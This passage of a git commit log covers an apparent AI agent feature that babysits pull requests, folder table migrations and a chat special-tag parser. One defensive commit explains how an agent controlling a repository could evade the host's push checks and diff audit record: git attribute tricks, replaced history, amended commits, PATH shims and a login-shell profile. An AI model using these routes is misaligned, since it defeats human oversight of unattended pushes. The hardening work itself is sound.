therefore killed mid-loop with the PR already opened, its review comments already posted, and none of the rounds/stopReason outputs produced. Rather than thread a numeric deadline through ExecutionContext — five entry points that would each have to remember it, and nothing to catch the one that forgot — `createTimeoutAbortController` now records the deadline against the signal it creates, and `getRemainingExecutionMs(signal)` reads it back. The number cannot disagree with the timer that enforces it, because both are established in the one place the timeout exists, and every entry point already hands the executor that signal. `undefined` means unknown, not unlimited: Babysit keeps the old ceiling as its fallback for an untimed run. Job logs. The executor caps a response at 10 MB and throws rather than truncating, so a verbose CI job produced no diagnostic at all — and GitHub Actions reports null title/summary on every check run, leaving the agent a bare URL it has no tool to follow. The tool now sends `Range: bytes=-N` so the storage host returns only the tail. Since a suffix range is a request and not a guarantee, a 200 still takes the local slice. That made the old output dishonest, so the contract changed while the tool is still new and has one consumer: `totalCharacters` (which a ranged read cannot know) is replaced by `totalBytes`, sourced from the `Content-Range` total and null when unreported. A ranged body is trimmed at its first line break, since the byte window cuts mid-line and can split a multi-byte character. Generated docs. `github.mdx` was missing the `repo_full_name` the PR reader now returns, and regenerating deleted the head/base rows instead of adding it: `scripts/generate-docs.ts` only expands a spread at depth 0 of a const, and `PR_BRANCH_REF_OUTPUT` spread inline under `properties`. Restructured into a named properties const in types.ts, next to the shapes it belongs with, which the generator resolves the same way it already resolves BRANCH_REF_OUTPUT. Only the github.mdx hunk is committed. The generator is lossy elsewhere — it drops 126 lines of trigger configuration from jira.mdx — which is pre-existing drift for whoever owns that surface, not this branch. * fix(pi): refuse any Git-quoted path before the Babysit push `core.quotePath=false` stopped Git escaping non-ASCII bytes, but it closed one instance rather than the class. Git still quotes any path it cannot state on a single line — one containing a newline, a double quote, a backslash, or a tab — and such a path arrives with a leading `"`, so the `.github/` prefix test does not match it and the refusal is bypassed exactly as before. Refuse any quoted path outright. Unescaping instead would put a second implementation of Git's quoting rules on the security-relevant side of the push, and these characters have no legitimate place in a source path. * fix(pi): harden the Babysit push against a repository the agent controls Every host-side guard before the push was computed by a git invocation the agent could influence from inside `.git/`, which is never committed and so is covered by neither the config digest nor any content check. - Diff measurement ignored `.git/info/attributes`. One line saying `* -diff` reduced a 500 KB change to `Binary files differ`: verified locally as 119 bytes reported against a real 500,147, so the 200 KB cumulative bound never fired, and the `diff` block output — the only record of what an unattended, review-comment-steered agent pushed — recorded the same nothing. Both diffs now run `--text --no-ext-diff --no-textconv` with an empty `core.attributesFile`. - `rev-list --count` and `merge-base --is-ancestor` answered about replaced history. A `refs/replace/*` mapping makes a five-commit chain report one, while the pushed SHA stays real. `GIT_NO_REPLACE_OBJECTS` is now set for both the prepare and push commands. - The push asserted HEAD's *shape* — right branch, one commit past the pin, a descendant — every part of which survives `commit --amend` to a different tree. So the bounds, the quoted-path refusal, the `.github/` refusal and the reported diff could all describe a commit other than the one pushed. The validated SHA is now passed in and the refspec names it. - The digest comparison resolved `cat`, `sha256sum` and `cut` through `$PATH` in the same script that invokes git absolutely for exactly that reason, and was handed the expected digest in its own environment — so a shim could print it. The utilities are now absolute. - The clone left the token in `.git/config` when the pinned-SHA assertion failed, because `set -e` aborted before `remote set-url`. Reordered. - `changedFiles` reached the block output unscrubbed on the Babysit path, where Create PR already scrubs it. Names are agent-chosen. These reduce exposure; they do not bound it. E2B runs each command as `bash -l`, so a login-shell profile the agent writes executes ahead of the next host command with the token in its environment. Removing the token from the sandbox entirely means pushing host-side through the Git Data API, which the ≤50-file / ≤200 KB bound already makes practical. * fix(pi): correct switch coercion for draft and tidy Babysit reporting - `draft` had the same string-coercion bug that `babysitMode` was fixed for one line above it. A switch arrives as `'true'`/`'false'` when its value came through a variable reference, an API trigger payload, or a legacy serialized workflow, and `inputs.draft !== false` read `'false'` as truthy — opening a draft PR against the user's explicit setting. Both now go through one `isSwitchEnabled` helper that handles either polarity and takes the field's default, because the bug is opposite on each. - `mergePhaseDiffs` joined two separately-capped diffs without re-capping, so the combined output could reach twice MAX_DIFF_BYTES. - The cancellation poller's `logger.warn` was the one message in these files emitted unscrubbed. A Redis poll error is unlikely to carry a run credential, but a uniform invariant is easier to keep than a per-call-site argument. - Renamed `waitWithSandboxKeepalive` to `waitWithSandboxProbe`. E2B's `timeoutMs` counts down from create and is reset only by `Sandbox.setTimeout`, never by running a command, so `true` every four minutes proves liveness and buys no time. The old name invited raising the round wait on the assumption that waits extend the sandbox, which would let E2B reap it mid-wait. - Dropped a `{@link}` to a symbol in another module that was never imported. * docs(tools): record why the Babysit GitHub tools are registry-only The same branch added four user-facing GitHub tools through the full block-exposure recipe (v2 variant, tools.access, dropdown, subBlocks) and five internal ones through none of it. The distinction is deliberate — the five are called by the Pi Babysit handler via executeTool, which resolves against the registry rather than any block's access list — but nothing in CI encodes it, and `check-block-registry.ts` silently skips ids it cannot find. Worth stating because the trap is non-obvious: `GitHubV2Block` builds its access list by appending `_v2` to every entry, so adding one of these to `tools.access` without first adding a v2 variant would point the block at an id that does not exist. * docs(pi): document the clean stop reason and Babysit's fixed bounds The FAQ told readers to inspect `stopReason`, but the reference list never named `clean` — the one value that means the PR actually reached the goal state — and omitted `closed_or_merged`, `fork_pr`, and `check_read_failed`. Also records the bounds that were previously undiscoverable, split by how each one actually behaves: the reviewer-mention limits reject the block before the run starts, the 30-thread limit trims a round, and only the failing-check and cumulative-change limits produce `bounds_exceeded`. Corrects step 6, which claimed Babysit reruns CI. It never does — the push is what re-triggers checks. Co-Authored-By: Claude <noreply@anthropic.com> * docs(tools): correct and widen the registry-only note The previous note contrasted these five with "the user-facing tools added alongside them", implying this branch added both. It did not: the branch never touches blocks/blocks/github.ts, and github_create_pr_review came from #5471, which predates staging. The real contrast is with every user-facing GitHub tool in the registry. Also records the governance consequence, which was the part actually worth writing down: the permission-group deny list is built from tools.access, so an admin cannot deny these from the UI, and the allowedIntegrations gate keys on block type while Babysit calls them with a tool id alone. Co-Authored-By: Claude <noreply@anthropic.com> * fix(pi): size the sandbox to the run's own execution timeout The Pi sandbox lifetime was a global constant while the execution timeout is per-plan and per-mode, varying 18x (a free sync run gets 5 minutes, an async run 90). Every Pi sandbox asked E2B for the same sub-hour ceiling, so a five-minute run whose web process died left a sandbox billing for an hour. PI_SANDBOX_LIFETIME_MS could not close the gap: its floor is 31 minutes. resolvePiRunLifetimeMs lowers the provider ceiling to whatever the run's own deadline leaves, read from the signal that enforces it. Untimed runs and Daytona are unchanged, so no path gets a longer lifetime than before. The turn cap had to move with it. PI_TIMEOUT_MS reserved the clone and both finalize budgets out of the ceiling as a module constant; leaving it there while shrinking the lifetime would re-open the exact bug its docs describe — the sandbox dying first, taking the agent's finished work with it unpushed. It is now resolvePiTimeoutMs(lifetimeMs), and each backend resolves the lifetime once and feeds both, so the two cannot disagree. Two things this surfaced: Babysit had to read context.signal, not the cancellation signal it uses everywhere else. createCancellationSignal returns a fresh controller that only forwards aborts, so the deadline lookup answers "unknown" through it and would have silently left the longest-lived mode on the ceiling. Covered by a test that fails against the wrong signal. The E2B adapter tested lifetimeMs for truthiness, so a run resolving to zero would have had the key dropped and been handed the SDK's five-minute default - longer than it asked for, on the run least entitled to it. Options precede the callback in withPiSandbox so that adding one did not re-indent every caller's sandbox body. Co-Authored-By: Claude <noreply@anthropic.com> * fix(pi): raise the sandbox ceiling to the longest execution we allow The ceiling was pinned just under E2B's one-hour *Hobby* session limit. Sim is on Professional, where the limit is 24 hours, so the cap was enforcing a restriction no plan imposes — and it sat below the 90-minute async execution ceiling, which made the sandbox the binding constraint. A long Babysit run could be handed a 90-minute budget and still lose its sandbox at 59. Derived from getMaxExecutionTimeout rather than given a number of its own, so the sandbox always outlasts the longest run the platform permits and an operator who raises the async timeout does not have to know this file exists. The provider session limit stays as a clamp, so the derivation can never ask E2B for a lifetime it will refuse. Effect: ceiling 59 -> 90 min, and the agent turn it funds 29 -> 60 min, since resolvePiTimeoutMs reserves the clone and both finalize budgets out of it. Runs with a shorter deadline are unaffected — resolvePiRunLifetimeMs already lowers the ceiling to whatever the run itself has left. Co-Authored-By: Claude <noreply@anthropic.com> * docs(pi): describe the deadline-sized sandbox, not a fixed hour Both facts in this paragraph were stale: the lifetime is no longer a single sub-hour constant (it tracks the run's own remaining execution time), and the ceiling was justified by E2B's Hobby limit on an account that is on Professional. Co-Authored-By: Claude <noreply@anthropic.com> * fix(pi): share the sandbox sizing and lift E2B off the base default The two Pi images had drifted on exactly the axis their shared module exists to prevent. Daytona asked for 4 CPU / 8 GB; the E2B template asked for nothing and inherited its base default of 2 vCPU / 512 MB. That is a 16x memory gap between the provider Pi normally runs on and the one it fails over to, so a failover could be OOM-killed doing work that had just succeeded. 512 MB is too small independently of the drift: the Pi CLI is a Node process holding an LLM context, running beside a clone of the user's repository, and Node is OOM-killed rather than degraded at that ceiling — which reaches the user as an opaque agent failure. CPU and memory now come from pi-sandbox-packages.ts alongside the package lists. Disk stays in the Daytona renderer: its 10 GB per-sandbox cap is a hard provider limit with no E2B equivalent, so it is the one dimension where the images legitimately differ. E2B fixes resources at template build time, so this takes effect only when build-pi-e2b-template.ts is re-run — nothing builds these images in CI. Co-Authored-By: Claude <noreply@anthropic.com> * chore(pi): remove internal planning files * chore(pi): remove generated review commands * fix(pi): align babysit toggle visibility --------- Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local> Co-authored-by: Cursor <cursoragent@cursor.com> Co-authored-by: Bill Leoutsakos <billleoutsakos@Mac.localdomain> Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai> Co-authored-by: Claude <noreply@anthropic.com> |
||
|
Waleed
|
9edf892633 |
docs(folders): correct four comments that claimed more than the code does (#6063)
A comment pass over this branch found four factual errors, all mine: - the admin route test justified its column-pinned assertion with reasoning copied from lifecycle.test.ts — that condition has no second isNull node, so the stated vacuity could not occur there - 'every clause mirrors one column of the partial unique index' was wrong: deletedAt is the index PREDICATE, and name has no clause at all - 'optimistic client reparents can write a cycle' is unsupported — wouldCreateFolderCycle has one caller and no write path bypasses it; the real origin is two concurrent reparents each passing the check - 'restoreFolder runs restoreChildren BEFORE un-archiving' holds only for the injected hook path; the in-transaction fallback runs after restoreFolderRows The rest trims comments that restated the code or duplicated a TSDoc block on the module under test, and pins three presence-only isNull assertions to the deletedAt column so they cannot be satisfied by an unrelated nullable filter — the same fragility that made an earlier assertion here vacuous. |
||
|
Waleed
|
0f1279979a |
fix(folders): stop archived rows skewing sortOrder, hide them from admin, and cover the two untested modules (#6062)
* fix(folders): stop archived rows skewing sortOrder, hide them from admin, and cover the two untested modules nextFolderSortOrder returned min - 1 over ALL rows including soft-deleted ones, so every delete ratcheted the floor further negative and never recovered — an archived folder at -400 forced the next new folder to -401 forever. Both minima (folders and child resources) now see only rows a user can still see, which is how the Files path has always worked. The admin workspace-folders endpoint counted and paginated soft-deleted folders, so an operator saw phantom folders and an inflated total, disagreeing with every user-facing list. Adds naming.test.ts and queries.test.ts. Both modules had zero tests and are mocked at every call site, so their bodies executed in no test anywhere. That left unasserted the two bug classes that caused real defects in the folder migration: the suffix sequence (must start at (1) and skip taken suffixes) and resourceType scoping on the id-keyed lookups, where a missing clause silently files a knowledge base under a table folder. Every assertion is mutation-checked. The first version of the sortOrder test was vacuous — for a root folder the parent condition is itself an isNull node, so a presence-only check passed with the soft-delete filter deleted; it now asserts the specific column. * refactor(testing): share the drizzle condition-tree helpers Asserting on WHERE clauses is the only way to pin a filter the row-queue mocks cannot enforce — a mock returns whatever was queued regardless of the predicate — so this pattern spreads to every test that guards a query's scoping. It had reached five local copies of the same flatten/has pair, four of them added by the tests in this branch. Moved to @sim/testing beside createMockSqlOperators, whose output shape they parse, so the helper and the node types it depends on live together. |
||
|
Waleed
|
4793607ee9 |
chore(db): drop the legacy folder tables and adopt the deferred folder_id FKs (#6051)
* chore(db): drop the legacy folder tables and adopt the deferred folder_id FKs Contract migration closing out the generic-folders cutover: drops workflow_folder and workspace_file_folders, and adopts the two folder_id foreign keys 0272 deliberately deferred. Runs a final INSERT-ONLY reconcile first so no stranded legacy folder is lost by the drop. Insert-only because 0272 deliberately renamed 47 workflow folders to dedupe them, and an upsert would revert all 47. In production this is a no-op (verified 0 stranded); it exists for deployments that never ran the post-drain reconcile as an operational step, self-hosted upgrades above all. Hand-written rather than drizzle-generated: the generated form drops the tables BEFORE adding the FKs with no step to re-root unresolvable folder_ids, so one dangling id fails ADD CONSTRAINT after the legacy data is already gone; it also validates the FK inline, holding ACCESS EXCLUSIVE across a full scan of the 1.7M-row workspace_files, and uses DROP TABLE CASCADE. The generated snapshot is kept so drizzle-kit generate reports no schema changes. Every re-root path dedupes, because all three destinations are partial unique indexes keyed on a coalesced nullable column: folder, workflow, and workspace_files. Parents must also be reachable — an active row re-roots off a soft-deleted parent, while a soft-deleted row may keep one. Also hardens the retention sweep, which the new ON DELETE SET NULL exposes: a surviving active child re-rooted by the FK can collide at the workspace root, and chunkedBatchDelete turns that 23505 into a permanent per-chunk stall. The folder cleanup target now renames children first, covering workflows, files and subfolders, re-asserts eligibility so a restore mid-batch is not stripped, and treats the deduplicated name as a hint since both allocators can return a colliding one. * fix(db): stop the re-root dedupe renaming personal workflows workflow.workspace_id is nullable, and NULL is treated as EQUAL by PARTITION BY but UNKNOWN by the = in base_taken. So for personal workflows rn incremented across the group while no collision was ever detected: the dedupe could only fire spuriously, renaming a user-visible workflow that needed no rename, since the unique index treats NULL workspace_id rows as distinct anyway. The file block already carried the equivalent guard. Also gives step 1's inserts ON CONFLICT (id) DO NOTHING. It restates the stranded guard, closing the window between that read's snapshot and the index check — an operational re-run of 0274, or a live pod, committing into folder mid-statement would otherwise raise 23505, and migrate.ts retries only 55P03. 0272 and 0274 were already written this way; step 1 was the exception. Corrects three comments that claimed more than the code delivers: the header's 'no legacy folder is lost' (an id already present under another resource_type cannot be rescued), the reachability note (a cycle among stranded rows survives a per-row parent check), and a note made stale by the ON CONFLICT above. |
||
|
Justin Blumencranz
|
ee7c061681 |
fix(copilot): stop the special-tag parser discarding text it cannot resolve (#5952)
* fix(copilot): render unclosed special tags as text on completed messages
The special-tag parser suppressed everything after an opening tag with no
close, even after streaming ended — so an assistant message that merely
MENTIONED `<workspace_resource>` in prose lost its entire remainder in the
UI. The stream itself completed fine; only the render truncated.
Suppression now applies only while streaming. A completed message can never
finish an unclosed tag, so the marker was literal text and the remainder is
rendered as-is.
Originally written alongside the docs/ VFS work and reverted at review time
to keep that PR to one concern; this restores it on its own.
* improvement(copilot): show text as soon as an unclosed tag cannot resolve
Restoring the text only at end of stream left a real gap: once the model
mentions a tag in prose, everything after it stays invisible for the rest of
the stream and reappears in one jump when streaming stops. On a long reply
that is most of the message.
Two properties let us decide much earlier, both conservative — they only fire
on content that could not have parsed:
- Tags never nest, so any special-tag marker inside the body (opening OR
closing, not just a mismatched close) proves the opener was literal text.
- JSON-bodied tags must start with `{` or `[`, so the first non-space
character settles it — prose after the marker is caught on the very next
chunk rather than at the end.
The second is per-tag, not global: `thinking` bodies are prose by design
(parseTextTagBody), so the JSON rule cannot apply there and only the nesting
rule can rescue it. A test documents that remaining gap rather than leaving
it implicit.
A false positive is cheap by construction: text shows early and the
end-of-stream parse still produces the correct final render.
* fix(copilot): ignore tag syntax quoted inside a JSON tag body
The nesting rule treated any tag marker in the body as proof the opener was
literal text. But a JSON body can legitimately quote tag syntax — a
`<question>` asking which tag to use, a `<workspace_resource>` whose title
mentions one — and that is exactly the "model explains its own tags"
situation this whole fix exists for.
Bailing there is the one expensive false positive in the design: the raw JSON
renders and STAYS for the rest of the stream, then snaps into a card when the
real close arrives. More jarring than the bug being fixed.
For JSON-bodied tags the nesting scan now runs over a copy with string
literals blanked (escape-aware, and tolerant of the unterminated trailing
string that is normal mid-stream). Markers in real body position still count.
`thinking` is unaffected — its body is prose, so there are no strings to
confuse it.
Tests cover both halves: the streaming case does not bail, and the same body
resolves to a question card once it closes.
* fix(copilot): keep prose a mispaired tag would swallow, and bail on dead JSON
Two more real cases from traces, both of which the earlier heuristics missed.
1. A MATCHED pair whose body fails to parse was silently dropped, cursor and
all. When the model explains tag syntax and ends with a backticked example
containing a real closing tag, that example closes an EARLIER opener and
three paragraphs become the "body" — which is not valid JSON, so the whole
span vanished and the render resumed mid-sentence (trace b095e080).
Now emitted verbatim, but only when the body contains a tag-shaped marker,
which is what shows the pairing was wrong. A marker-free body that merely
fails validation is a genuinely malformed agent payload and keeps being
dropped — an existing test asserts that deliberately, and showing the user
raw JSON there would be a regression.
2. The JSON heuristic only checked the FIRST character, so
`{"type":"file"}</workspac and then prose...` looked viable forever: it
opens with `{`, and the truncated close is not a marker any rule can see
(trace afbeefd0). Track depth instead — once the top-level value closes,
any non-whitespace after it is fatal, so the stray character decides it
immediately. String contents are blanked first so braces inside strings do
not skew the count.
* fix(copilot): keep prose a tag wrapped instead of a JSON payload
Third real case from a trace (1206fd8a): `<workspace_resource>the gmail-agent
workflow</workspace_resource>` — a matched pair whose body is plain prose. The
sentence rendered as "...once I wired up to handle the welcome sequence" with
its subject silently removed.
The marker test could not fire (prose contains no tag markers), so it fell to
the deliberate drop-malformed-payload path. But that path exists for an agent
emitting BROKEN JSON, not for a tag wrapping prose.
The distinction is whether the body was ever an attempted payload, which
isViableJsonPrefix already answers: `{"type":"single_select"}` is a well-formed
JSON value failing its shape guard and keeps being dropped; `the gmail-agent
workflow` was never a payload and is emitted.
* refactor(copilot): resolve each special tag through four named outcomes
parseSpecialTags had grown five inline branches, each added for a specific
malformation found in a trace. The shape made "drop it" the implicit
fallback, which is how spans that were never malformed payloads ended up
silently swallowed.
Extracts resolveTagAt, returning one of four named outcomes — segment,
literal, discard, pending — so each decision is explicit and the main loop
just dispatches on it.
Fixes a latent bug the old shape hid: rejecting an unclosed tag ran `break`,
abandoning the rest of the message, so a genuinely valid tag after a literal
mention was never parsed. Resolution now resumes just past the rejected
opener and scanning continues. Test added.
Two behavior notes:
- Rejected spans are emitted in smaller pieces. The renderer concatenates
adjacent text segments into one markdown string, so this is display-neutral;
the two tests that asserted exact segment arrays now assert joined text.
- Each opener is judged on its own evidence. Previously one verdict ended the
whole parse, so a nested opener released everything; now the outer is
released immediately and the inner is a fresh candidate that can still hold
mid-stream. It resolves at end of stream either way.
* test(copilot): pin the no-closing-tag case as lossless
Fourth malformation from a trace (220cc02d): the model wrote an opening tag
with valid JSON and no closing tag of any kind. No marker rule can fire —
there is no marker — but the JSON value completes and prose follows, which
the depth rule settles at the first space after the `}`.
Already handled by that rule; this pins it. Asserted as lossless rather than
merely visible: mid-stream and complete, every character of the message
survives, so nothing waits for the stream to end.
* fix(copilot): stop the literal path flashing payloads and rescanning the buffer
Review round on the four-outcome rewrite. Three defects in how an opener is
judged, plus the cost of judging it.
A valid tag showed its raw payload as text while its closing marker streamed
in. The JSON value closes at the `}`, so a half-arrived `</opt` read as stray
trailing content and settled the tag as unresolvable. Every JSON-bodied tag hit
this, and most replies carry a trailing <options> block. dropArrivingClose now
ignores a trailing fragment that could still grow into this tag's own close.
Evidence that a close is genuinely wrong still lands immediately: a misspelled
`</workflow_resource>` is not a prefix of `</workspace_resource>`, and a
truncated `</workspac` stops being one the moment prose follows it.
bodyIsLiteralText scanned the raw body for tag markers while its streaming
counterpart blanked JSON string literals first. A payload that failed its shape
guard and legitimately quoted tag syntax was therefore called literal text and
rendered as raw JSON, which is what discard exists to prevent. Both paths now
judge the same blanked body.
An opener whose own close was misspelled reached forward and matched the NEXT
tag's close, swallowing a valid resource into one literal span and destroying
its chip. When markers in the body prove the matched close belongs to a
different opener, resolution resumes past the opener so the interior is
rescanned and the inner tag still renders.
Cost: resuming past a rejected opener instead of abandoning the message made
each parse O(openers x length), and the parse re-runs for every streamed chunk.
A 40KB reply repeatedly mentioning a tag name cost 7.3s of blocked main thread.
The unclosed-body inspection is now bounded, since both rules decide on their
first piece of evidence, and the opener and close lookups are memoized per
parse rather than rescanning to the end of the buffer for every opener. Same
message: 1.2s. A realistic 40KB reply with 8 mentions: 0.35ms per parse, 28ms
across the entire stream.
Also derives JSON_BODY_TAG_NAMES from SPECIAL_TAG_NAMES so a new tag cannot
silently fall back to the weaker prose heuristics; deletes a docstring the
rewrite orphaned above TAG_SHAPED_MARKER; corrects one still describing the
first-character check that depth tracking replaced; drops a test duplicating
one already in the file; and fixes a test that named the no-nesting rule but
passed with that rule deleted, because its JSON closed before the marker.
* refactor(copilot): drop the JSON-prefix wrapper the split orphaned
Splitting isViableJsonPrefixOf out so callers that had already blanked the
body would not pay for a second pass left isViableJsonPrefix behind with no
callers. Both call sites blank the body for their own marker scan first, so
the wrapper has nothing left to do.
Biome does not flag it, so it would have sat there indefinitely.
The wrapper's docstring carried the actual argument for depth tracking over a
first-character check, which is the non-obvious part of the function; it moves
onto isViableJsonPrefixOf rather than being deleted with it, along with the
already-blanked precondition its callers rely on.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* refactor(copilot): drop the nested-marker scan the JSON rule already covers
The unclosed-tag check ran two rules over every JSON body: a scan for nested
special-tag markers, then a JSON-viability test. The scan earned nothing there.
A marker outside a string literal is stray content the viability rule already
rejects, and a marker inside one is legitimate quoted syntax the scan is
explicitly blanked to ignore. It cost 14 substring scans per opener per streamed
chunk to catch nothing.
Verified by deletion rather than by argument: with the scan disabled for
JSON-bodied tags, the only failures were the two tests written for the scan
itself, and neither is trace-derived. One documents its own contrivance — the
array is left unclosed on purpose because a closed value would let the JSON rule
decide it. Every test pinned from a real message still passes.
The rule stays for the prose-bodied tag, where a body that is not JSON leaves
nesting as the only available evidence. The foreign-close test moves to
<thinking> to cover it there; the marker-outside-strings test goes, since its
premise was the scan.
One narrow case regresses: stray non-JSON content inside a still-open structure
(`<question>[{...} </options>`) now stays hidden until the stream ends rather
than settling mid-stream. Depth tracking counts brackets, it does not validate
syntax. Self-healing at end of stream, and buying it back means a real JSON
prefix validator — more machinery than the case is worth.
Also pins two behaviors that had no coverage and would have been "simplified"
away. The two literal reasons resume at different offsets: never-a-payload must
resume past the CLOSE, because resuming past the opener rescans an interior
whose quoted markers the blanked scan never saw, re-parsing a tag inside a JSON
string and dropping it. Collapsing the reasons passes all 54 existing tests and
silently deletes text. Escape handling in the string blanker is likewise only
observable through depth skew.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): stop the rescan deleting quoted text, and bound its cost
Review found the foreign-markers rescan reintroducing the failure this branch
exists to remove. Three fixes, each with a mutation-checked regression test.
The rescan decides on the BLANKED body but resumes at the opener and re-scans
the RAW one, so a tag quoted inside a JSON string — invisible to the decision —
is re-parsed as a real tag on the second pass and dropped. A question whose
prompt quotes a <credential> example rendered with the quoted payload deleted.
Resolution now resumes at the offset of the marker that actually survived
blanking, so the quoted region is skipped and emitted verbatim. Promotion of a
quoted tag into a live control is not reachable: quotes inside the outer JSON
string must be escaped, so the inner body never survives JSON.parse.
That offset is taken from the blanked copy and applied to the raw body, which
makes index preservation load-bearing rather than decorative. A blanked astral
character emitted one space for two UTF-16 units, shifting every later offset
left; it now emits char.length. No test pins this — the drift only moves a text
segment boundary, and adjacent text segments concatenate — so the invariant is
stated in the docstring instead of guarded by a test that cannot fail.
The matched-pair body had no size cap, unlike the unclosed path. A borrowed
close stretches one body across most of the message, and the scan reruns for
every opener inside it on every streamed chunk. A 58KB reply of that shape —
organic, it is trace b095e080's own mechanism — cost 242ms per parse on the main
thread, and the parse reruns per chunk. Bounding the scan to MAX_UNCLOSED_BODY_SCAN
brings it to 35ms. The bound needed a guard the reviewers' version omitted: when
only a prefix was inspected, finding no reason is not evidence the body was a
payload, so it resolves to literal rather than discard. Without that, capping
converts unexamined bodies into silent deletions — the naive fix would have
caused the bug it was meant to prevent.
Finally, pushText dropped whitespace-only spans. Harmless when failed tags were
dropped whole; the literal path emits a rejected span in pieces, so a blank line
between two of them vanished and two markdown paragraphs merged.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* test(copilot): assert what a reader sees, and pin the unclosed-thinking trade
Review found several tests asserting only `hasPendingTag`. That boolean can be
correct while a wrong resumeAt drops the trailing prose — the exact defect twice
fixed on this branch — so those tests could not have caught it. They now assert
the rendered text alongside the flag.
Adds renderedText(), since a dozen tests hand-rolled the same map/join, and
switches two discard tests off exact segment-array equality onto it. How a span
splits across adjacent text segments is not observable: the renderer
concatenates them. Pinning the array shape only breaks on refactors that change
nothing a reader sees, which is what those two did.
Adds a frame-replay test. Everything else asserts one end state, so nothing
covered behavior BETWEEN streamed frames, where a card could render and then
revert. replayFrames() parses every growing prefix and asserts card count never
decreases — appending can only add closes after the ones already matched, so no
earlier opener's resolution can change.
Pins the unclosed-<thinking> behavior as a deliberate trade rather than leaving
it incidental: hidden while streaming, shown once the stream ends. Hiding is the
right mid-stream default because a close is still plausible and `thinking`
renders as nothing anyway. Showing it at the end does leak reasoning when the
close never arrives, which is accepted — that is rare, and keeping it hidden
would swallow the answer whenever the model opened the tag and then wrote the
reply without closing it.
Not taken: the reviewer suggestion to swap the prose path's tag-name scan for
TAG_SHAPED_MARKER. It matches any `<foo>`, and thinking bodies are prose that
legitimately discuss markup, so it would release those bodies early and make the
leak above more frequent — the opposite of the default just chosen.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* docs(copilot): name the scan window's blind spot instead of glossing it
Bugbot is right that the window can hide a streaming tail, and the docstring
said the bound "reaches the same verdict as the full remainder for any real
payload" — true for every payload a tag carries, but it read as unconditional
and hid the exception.
The exception, now stated and pinned by a test: a JSON body whose top-level
value closes BEYOND the window, followed by prose and no closing tag, still
reads as a viable prefix, so the remainder waits for the stream to end instead of
settling mid-stream. Lossless — the completed parse renders every character —
and it needs a payload several times larger than any tag emits. A mention in
prose settles at its first character at any length, because prose does not open
with a brace; the test pins that half too, since it is the case that actually
occurs.
Not widening the window: the bound is what took a 58KB borrowed-close reply from
242ms to 35ms per parse, on the main thread, re-run every chunk. Trading a
measured freeze for a hypothetical one is the wrong direction. The docstring also
now covers the matched-pair path, which the same constant bounds since the
previous commit.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): make the indexOf cache correct for any call order
The cache was safe only under a precondition the code could not enforce: that
`from` never decreases within a parse. Violating it does not throw — a stale
index is returned and the parser silently mis-parses, which is the exact failure
class this branch exists to remove.
Each entry now records the offset it was searched at, and is reused only when the
new `from` is at or beyond it. A cached -1 still answers any later `from`, since
absence from an earlier offset implies absence from a later one; a cached hit
still answers when it lies ahead of `from`. Anything else rescans.
The precondition held and still holds — every non-pending outcome resumes
strictly past its opener. But it is a property of resolveTagAt's resume points,
not of this function, and one of those points deliberately resumes back inside a
span it already examined. Someone adjusting a resume point should pay a redundant
scan, not corrupt a parse.
Verified by mutation: reverting the guard fails the new backward-cursor test and
nothing else, so the guard is load-bearing and the monotonic path is unchanged.
Same-content benchmark on a 79KB reply: 3.13 ms/frame before, 2.96 after — the
entry object is allocated only on a real scan, which is already bounded.
memoizedIndexOf is exported for the test. The invariant cannot be provoked
through parseSpecialTags, because the cursor does not walk backward today; that
is the whole point, so it has to be exercised directly.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): resume at the window edge, not past the close, on a truncated body
Regression from the scan bound added two commits ago. When a borrowed close
stretches a body past MAX_UNCLOSED_BODY_SCAN and the inspected prefix is
marker-free prose, resolution resumed past the borrowed close — skipping the
uninspected remainder entirely. A valid tag sitting in that remainder was
flattened to plain text purely because of which side of the window it landed on.
Measured: with ~1KB of prose before it the chip rendered, with ~6KB it did not.
A verdict drawn from a prefix — "prose", or no verdict at all — says nothing
about the rest of the body, so resumption now lands on the first character that
was NOT inspected. Everything inspected is still emitted as text by the caller,
and scanning continues into the remainder, so the tag renders. Ordering matters:
foreign-markers keeps priority, since a marker found inside the window is a real
offset and resuming there is strictly earlier and safer.
No text was ever lost in this case — it stayed lossless throughout — but a
destroyed chip is a real regression, and it was introduced by the fix for the
previous one.
Cost is bounded: each truncated step advances a full window, so a long body costs
body-length/window re-entries rather than one scan per character. A 117KB
borrowed body parses in 0.1ms.
Verified by mutation: restoring the old resume point fails the new test at 6KB
and 60KB and nothing else. The test asserts three lengths so the boundary itself
is covered rather than one side of it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): only discard a body that actually parsed as JSON
`discard` fired on any body parseSpecialTagData rejected, which conflated "is not
valid JSON" with "is valid JSON of the wrong shape" — even though its own comment
has always said "a well-formed value that failed its shape guard." The viability
rule cannot separate them, because bracket depth reads `{the Q4 report}` as a
viable JSON value.
So prose someone wrapped in braces was deleted:
I saved <workspace_resource>{the Q4 report}</workspace_resource> for you.
-> I saved for you.
along with the two commonest JSON slips a model makes, unquoted keys
(`{type: "file"}`) and single quotes (`{'type':'file'}`). All three are text loss
of exactly the kind this branch exists to remove.
Dropping text is only defensible for a payload the agent actually formed, so
discard now requires the body to parse. Anything that will not parse was never
demonstrably a payload and is shown instead. A valid payload with the wrong shape
still discards, which is the case the outcome was written for, and a valid tag
still renders.
Costs a second JSON.parse of a body that already failed one. That is the rare
path: a valid payload returns before it, and prose is rejected by the cheaper
viability rule before it.
Verified by mutation: removing the gate fails the new test and nothing else.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): apply the nesting rule to a prose body on the matched-pair path too
A prose body has no shape to fail — parseTextTagBody accepts any non-empty text —
so <thinking> was the one tag whose close was accepted unconditionally. The
unclosed path already refuses an opener whose body carries a tag marker, on the
grounds that tags never nest. The matched-pair path did not, and the two
disagreeing is the bug.
Mid-stream a nested marker disproves the outer opener, so its text is released
and the inner tag renders. When </thinking> finally arrived it was accepted as a
segment, and everything already on screen was swallowed into it and suppressed:
